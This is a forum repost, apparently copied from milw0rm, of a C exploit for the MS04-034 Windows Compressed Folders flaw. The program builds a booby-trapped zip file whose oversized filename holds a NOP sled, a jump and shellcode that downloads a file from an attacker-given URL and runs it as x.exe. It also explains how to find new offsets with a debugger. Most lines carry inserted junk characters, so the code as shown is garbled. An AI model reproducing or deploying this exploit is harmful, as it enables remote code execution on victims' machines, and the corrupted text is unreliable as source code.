- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)* i9 }7 y0 |# [) R" [' z4 A9 v
*0 y) j+ i4 `3 e/ x- ?9 m9 A7 E
* Tested under Windows XP SP0 Spanish/English
6 h* }) ]; o, o% l. o*" a2 t# H" T- _/ m& R) J
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html4 G+ A, F K) _9 S3 @' ?& Q& T
* Exploit Date: 21/10/2004$ x' }, ^1 S) h! K. U+ ~/ P9 g5 K
*8 L$ ^: P1 ^5 c4 \# O) e4 N
* Tarako - Haxorcitos.com 20042 d# d c$ }* m `1 J: G! X
*. N7 Y) ~ n# S! V
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
F, O5 t# w" r" m* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION& [' W8 s% @& P' B
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
4 \( T |' d2 [7 q& L2 N1 b. A*) g& \1 A; e: X7 u
* Greetings t #haxorcitos, #dsr and #localhost @efnet
1 i1 i+ d/ }' x*
5 n0 r% j( |; l*
! w8 H0 r; f; d, r* How to get new offsets:) c/ ^* [0 ?% I, _, M
* 1) attach debugger (i.e ollydbg) to explorer.exe# b9 ~; O. E# q: l! d6 [
* 2) open the zip file as a folder and add or move some files to it' k0 z; z3 J: E
* 3) search in the explorer.exe memory the shellcode and get the addresses
' f' b8 Z8 E! p% g; B*
# R/ W$ F& h8 ~4 T: m*/' D: u& C/ ?& ~8 m/ h* U
6 m/ f- F" o( L! Z3 Z
#include <stdio.h>
% i% z: q% }- [2 R#include <windows.h>$ r5 h+ X+ F" D1 `3 P0 w
" O2 ^- T- X# x3 u( D) q#pragma pack(1)- G; | l) `: S7 y# `7 _/ O
' o7 |3 u; u* l4 M
#define DATOS "Tarako-Haxorcitos.com"
, d. V! o( e. I+ o
0 U5 F4 X8 U4 P& f: mtypedef struct {
; ~& y. I+ a5 i* l% IDWORD Signature; // PK.. 4 bytes (0x04034B50)$ G6 H# e+ ]3 u2 U# ~2 ?
WORD VersionNeeded;
8 } T& s$ V% w8 c9 s1 aWORD GeneralPurposeFlag; // para el data descriptor y demas+ g. q- N5 Z; M7 K; g) \
WORD CompressionMethod;
8 x4 n/ v3 j5 q3 s0 OWORD ModFileTime;4 K7 {2 N$ K& ]+ T O. P% P
WORD ModFileDate;4 h1 t) J1 z. ]: c7 n( |
DWORD Crc32;
, s2 G7 _* b& \) r- u0 n7 BDWORD CompressedSize;/ d9 w$ B6 l' K' s* E
DWORD UncompressedSize;9 ]8 o8 J4 w# ~$ e; a
WORD FilenameLength;. f- ]% ]9 s4 s5 A- ?' [
WORD ExtraFieldLength;0 Z7 M. ]+ J4 [* [) c$ d( S8 D
// filename (variable size)) z! `$ a7 B; ^" @
// extra field (variable size)- y z0 j/ j9 ]0 y
}TOPHEADER;0 ~! m, l# m/ t [
; r0 M' N. n% j$ O6 y* f3 @' w0 h
5 [7 k2 V5 r7 V& H+ D0 j2 _- stypedef struct {
* \8 o% n% J1 yDWORD Signature; // PK.. 4 bytes (0x02014B50)
! r) L# x }: X0 C9 U0 P4 k7 PWORD MadeVersion;
( Q5 o3 s& P: S: b) E$ DWORD VersionNeeded;" B/ I( _& A$ ?4 p. ~/ ^
WORD GeneralPurposeFlag; // para el data descriptor y demas. j- j3 j2 F. Z" M
WORD CompressionMethod;1 i8 u( S/ ^ b; o- A$ w
WORD ModFileTime;
4 t, ?" r( I! v. U5 Q* ?) N# LWORD ModFileDate;# n' \% l( Y, R& L
DWORD Crc32;' f1 q& g D, p: k- E. x1 n: d
DWORD CompressedSize;
. j. j3 v! ?4 C' f0 `# m" }; Q- g7 CDWORD UncompressedSize;+ z' ]3 L7 @* k+ h
WORD FilenameLength;
$ \ w( V6 R9 a- c1 \WORD ExtraFieldLength;
$ x) E: W$ h0 k/ o! ~ |# t3 LWORD FileCommentLength;. y- y# d! A& ^- A7 y5 v
WORD DiskNumberStart;
: Z( N; f2 ?: r, A. D3 x: ~/ v1 lWORD InternalFileAttributes;
6 l- ]7 e; y; N) |4 ^6 ^DWORD ExternalFileAttributes;9 G. N/ S, g' d4 g
DWORD RelativeOffsetOfLocalHeader;
% F. Q* D3 S7 @! }// filename (variable size)
$ ?3 N5 H" @. n8 a! l// extra field (variable size)6 S8 c- |+ F+ ~: C j
// file comment (variable size) o+ f% ?( B' {4 N9 H4 a* o
}MIDDLEHEADER;" c- t1 m" @& E6 {, r
( q# L+ Y2 ^) I6 l. S" k
typedef struct {
z* x, z m6 O# @! ]5 {DWORD Signature; // PK.. 4 bytes (0x06054B50)
1 C+ Y8 v. o- `6 w; p6 u6 [9 c. ^WORD NumOfThisDisk;8 {+ T6 A) F# V0 B/ }3 V0 D8 l
WORD NumDisckStartCentralDirectory;" K5 i( {8 x: Y/ s5 R- i6 m. q
WORD NumEntriesCentralDirOnThisDisk;5 J/ S+ P6 X1 ]* n% s0 r; y: n/ p
WORD TotalNumEntriesCentralDir;
' ]- _# E$ ^6 E7 N" C( QDWORD SizeCentralDirectory;! z* i! A2 X% e% b' ~. D2 f
DWORD OffsetCentraDirRespectStartDiskNum;( W( P6 y3 Q& [* V
WORD ZipCommentLength;; S& T& n ^* {1 s6 L
// zipfile comment (variable size)
1 E% V) b7 T5 Y, M1 l}BOTTOMHEADER;( M/ |3 p+ ^! Q V( N/ |# c/ w( z2 U
/ `. T3 x: N5 r% X9 |
/*
3 B4 [$ ]" c9 @' Z7 J8 ]* download shellcode - RaiSe - raise@netsearch-ezine.com
& {7 h' P5 `0 o, }8 N$ @( K& o# N q' W*/, T8 L. H$ `: m. |1 f: c
char shellcode1[] =
$ R/ z3 U# J: g: Y; ]"\xEB\x5D\x5F\x8B\xF7\x80\x3F"! E& j- W6 L; f& h5 R( |+ H
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"& u( r& k) q1 Y$ _3 L1 o
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"- `/ }. J! B, q6 K2 N# ~" d
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8") M* O! t9 l' i2 \% f' n. N! C$ I
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"( _, [& X1 |1 _( ~
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
9 I% z! Q; P! j3 V"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
8 X9 ?0 ]- c; \2 N, ^3 n; R"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
d% v- E+ W/ S- ~ z! D$ f* O"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
& R0 V9 ]0 a ?" ?7 @( ~"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
) I& x4 V" ~% Y7 b& L' x"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
$ Q" a1 l2 ]. w8 b# `"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"9 L" i2 R+ q6 i+ a6 K& d6 k2 ~
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
L& G6 @0 W8 h! D& I2 w! P8 f8 S% t"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"/ o3 H. g4 v! D2 E
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
: L; ~. x0 @/ W3 K+ O"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"# S1 [* u: g* Q3 b
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
# R& f$ [7 d( X; ?4 |9 _: B"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"' b# k, B1 f {2 {2 o
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8") W' v) o o/ ~' F- i: u1 L! P
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
3 \9 w; Y' C% C! ~"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"3 v5 ?: {/ B/ l- b; C
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
3 i* o; n- P8 w: X% |: @) V( n% x0 u# \& ~"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
, G% l0 ^2 T3 a2 f* A"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
9 H. r* w5 G) n"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF", D* t5 T' F4 H) l8 I% ?
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
: B, w- k6 V4 l+ P) i"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
0 L3 B- T2 s: O- {6 C: |8 q# Y' N"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
z: _# v4 {- u4 M2 v"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61") h9 r+ P$ m. F3 _ C
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"' Y# M& H/ b9 o. s& r
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"0 h/ D3 l" A$ Z" V% Q9 B# R
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
) [, V6 s4 [0 f- P G; {9 g"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"! w# x1 p1 t8 x: G+ u+ R, q
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"( b, Y" g* y2 O$ C
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
3 s4 O6 B7 O7 ~, t, d! ychar shellcode2[] ="\x08\x01";, K! o2 t4 Y9 m% s
( Z7 l' H: s, [5 c+ Y8 [6 G
char offset[]="\x41\x41\x41\x41";6 w; b' y3 \$ c% g' K% u
char jmpbelow[]= "\xeb\x06\x90\x90";
$ z* U1 w0 j' n3 Z! Q; r$ W/ o' t o0 q8 X% e1 p2 @5 ]
int main(int argc,char *argv[]) {! I0 D9 q8 E9 x7 R
( B. y: Q3 u% H; j
FILE *ZipFile;
8 ?: V9 p% F9 @' Y7 T# x+ Z8 ITOPHEADER *Cabecera1;4 k5 h# V/ g# h) `- m( x
MIDDLEHEADER *Cabecera2;
, Q: t) i. I! z0 ]$ hBOTTOMHEADER *Cabecera3;! D8 [7 I! D& U$ c
) K) |* ]* }1 C3 p9 A6 T3 ~
DWORD c;6 o/ V/ Y" o/ Q5 E
UINT i;2 u+ N" H8 U& U1 a7 l
char *filename;# O' B2 m- l P; i0 [% M5 |2 ~
char *url;6 r' z. Z- b9 Z$ @1 N; w8 g
' B! f6 ]7 {( B8 L9 n6 ~* d2 o. nprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
6 g7 s9 r; J' r" o% ~& F1 j2 r: g# ?printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");( J v; b+ W6 c* b) ?/ g
* P) C5 }- ^5 @* ]- ?, H4 x
if (argc!=2) {
, }8 H8 d3 _' n5 f' @5 z8 |printf("\n\n Usage: %s <URL> \n",argv[0]);9 @, t K' H2 D4 B1 B* N* }+ Z4 @
exit(1);
7 o x4 j/ j! I; S2 j}& e" I) S% [' n' ]
0 k0 _$ ~9 P* o4 m7 i
url=argv[1];
! I) X7 g- t3 t* F# d) T; u" xprintf("\n * URL: %s",url);* q v6 Q) F8 u( E' E8 X
+ r: c$ N+ A5 {7 a
1 C5 O' s1 b4 V% ]0 e, ~if (!(ZipFile=fopen("prueba.zip","w+b"))) {
) Z' Z" b z9 C! ~( qprintf("\n [E] fopen()");
# U6 Y. w' x4 v" ?! v4 sexit(1);9 B2 p+ K, `- x9 \8 _. ~9 K4 v
}* a4 K0 U; i6 ^: y9 M1 R
+ Y( j% l0 V2 L, o: ^' E
c=0x8000; // filename length5 [1 Q! |3 z' }- @( v3 c: ^
filename=(char*)malloc(sizeof(char)*c);
7 c3 E9 B7 R' [" i* T4 ^% Amemset(filename,0,sizeof(filename));: q' k6 d; a' X; A' G4 [- Q6 P
6 w. {5 O7 L: P6 mfor( i=0x0;i<c;i++) filename=(BYTE)0x90;; a$ a! T4 v4 p
: C0 O& t$ Q. D
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
! M8 [- C* d+ a* omemcpy(filename+0x1818,offset,strlen(offset));! c% G. D6 h1 N5 O
# r2 ?8 @6 x8 |) n0 K% }9 W8 _
memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);( _* s' O7 R% W e2 N) g
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));
0 G5 |2 S& c- [. J @- cmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
: g0 C2 p7 \! q7 Y6 w- [. S2 F, g6 O @
memcpy(filename+(c-4),".txt",4);
4 e3 N% G9 A6 A. P( Z
; c+ A2 ^$ z* X3 @8 k5 k) VCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));8 m% \1 E( P+ W) D- |
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));& G5 T6 X0 q( [( _8 T
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));& {% s# A$ u! u- C9 B7 Y2 ]
memset(Cabecera1,0,sizeof(TOPHEADER));
1 u O% C m; e$ T8 e0 N O Cmemset(Cabecera2,0,sizeof(MIDDLEHEADER));' j, r1 [$ F7 {5 X3 x
memset(Cabecera3,0,sizeof(BOTTOMHEADER));
( y" j: f y9 F
3 ^8 ]) L3 b; w5 g5 P///////////////////////////////////////////////////////////////////( ?5 @4 i! N$ s
// TOPHEADER, L' }- \& E0 T+ c
///////////////////////////////////////////////////////////////////( _" i) \! Y/ m# p
Cabecera1->Signature=0x04034B50; // DWORD3 J/ u# F0 l% H) ]2 g! x& r
Cabecera1->VersionNeeded=0x000A; // WORD5 H1 L1 ^9 v$ W6 V# f" \
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
# T. A6 p3 A/ h: [* OCabecera1->CompressionMethod=0x0000; // WORD
2 h% p7 M- Y* r$ r- zCabecera1->ModFileTime=0x1362; // WORD
0 W# ~' a1 a1 B( C5 @Cabecera1->ModFileDate=0x3154; // WORD0 A3 O& z3 T; a( {3 Y9 ?
Cabecera1->Crc32=0x85B36639; // DWORD5 j! q& R" j; [% O* ]* N
Cabecera1->CompressedSize=0x00000015; // DWORD. Q% M; D7 W8 ]6 W/ A9 T0 i
Cabecera1->UncompressedSize=0x00000015; // DWORD: `/ e1 V9 W% ]' v! |! ]1 |
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);; O3 ~# y3 }$ l" k
Cabecera1->ExtraFieldLength=0x0000; // WORD- b7 ?+ _, o z7 p( i) P
///////////////////////////////////////////////////////////////////% D8 D+ y8 a# K3 \3 r
2 }" d' l. o& K
///////////////////////////////////////////////////////////////////
2 A. ^& ~2 D1 d+ P* r; a6 Y// MIDDLEHEADER
# b* N) G6 J3 I8 D" [" j+ U! u7 Z///////////////////////////////////////////////////////////////////- T5 G: A& i( Z& a7 i+ r
Cabecera2->Signature=0x02014B50; // DWORD
" Y$ Q9 z8 O1 O9 n2 p# o( GCabecera2->MadeVersion=0x0014; // WORD
) [' { |' p. E6 g/ I6 bCabecera2->VersionNeeded=0x000A; // WORD
% H1 f7 Z$ Y/ g/ H! A+ aCabecera2->GeneralPurposeFlag=0x0002; // WORD# y$ b# o. r/ G% e8 R, C/ i
Cabecera2->CompressionMethod=0x0000; // WORD
) j' P. J! J9 Z; kCabecera2->ModFileTime=0x1362; // WORD; r' a2 Z( p$ B7 w, s2 \
Cabecera2->ModFileDate=0x3154; // WORD
5 |) t5 j. T+ U/ \Cabecera2->Crc32=0x85B36639; // DWORD
8 G6 @+ l+ w" z- hCabecera2->CompressedSize=0x00000015; // DWORD
9 ~6 w* f) I& H* b. L# k6 M: vCabecera2->UncompressedSize=0x00000015; // DWORD
/ l+ Z+ K1 A" u/ ICabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);# b, l0 @+ h7 _1 }2 F1 H( D' q9 q, q
Cabecera2->ExtraFieldLength=0x0000; // WORD
* o7 ?- X2 I; P: E, Q sCabecera2->FileCommentLength=0x0000; // WORD; L2 N7 F- J6 O# W
Cabecera2->DiskNumberStart=0x0000; // WORD$ U1 l2 {, W2 q! g; v" I v3 s! e; n
Cabecera2->InternalFileAttributes=0x0001; // WORD0 [. {* w" T7 v9 V' L5 f
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
: N0 D# |) b/ ~# B$ u' B1 m ~; S6 CCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
+ H) W3 G% {8 }& D5 c Y1 g' r///////////////////////////////////////////////////////////////////( q! z1 e. g1 \ Q$ g0 B% P
k0 e9 n7 a! @4 x: c
///////////////////////////////////////////////////////////////////
/ M% H& ], E# @, n; p& V# ~/ Z: l' V& j// BOTTOMHEADER
/ i% J' D: ]; O. X0 O0 \, \0 _///////////////////////////////////////////////////////////////////* q% @) R' W( |2 `
Cabecera3->Signature=0x06054B50; // DWORD
$ Z3 Q U8 k7 ^& `. D$ ICabecera3->NumOfThisDisk=0x0000; // WORD
1 Z2 i. j9 _ _7 G& dCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
7 P( P) N" ]5 N" J$ aCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD" ~2 n/ y) p$ Z
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
) O! L* `9 O- q! S/ {Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD, }. M, \: _; M
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 8 p L/ ?7 N5 G( z$ y* G7 h9 O
Cabecera3->ZipCommentLength=0x0000; // WORD+ Y+ _: i! S+ n
///////////////////////////////////////////////////////////////////
6 x* G9 i0 T8 H$ c
6 O$ k @: _+ z3 s5 e4 pfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
; z0 W c0 ~2 ^& Q( ^% n
! U+ |" g9 N" `. ?. \" Z/ ]5 g/ ufwrite(filename, c, 1,ZipFile); 4 q( I4 X1 R* Q( \4 ~4 u. S
fwrite(DATOS,strlen(DATOS),1,ZipFile);
$ f5 |7 y- c Q( x B7 z+ U
9 ]) k' F# r. z" R% D% n! ?# Efwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);1 R; i7 {/ S- {" Z# l
fwrite(filename, c, 1,ZipFile);
- @' |7 A$ k& k9 M9 Bfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);2 ]3 d' V$ V* l& V4 c
9 A4 r" u$ G, u. [
fclose(ZipFile);
! d4 A" Q& F1 n" @" p2 X0 n+ Qprintf("\n * prueba.zip created\n");% W' M6 ?: V+ ]- [- a
return 1;: d9 m( ^6 j- L4 R+ h
}//downloaded from milw0rm.com
2 Q0 K/ X9 o. ^( q7 O |
zan
|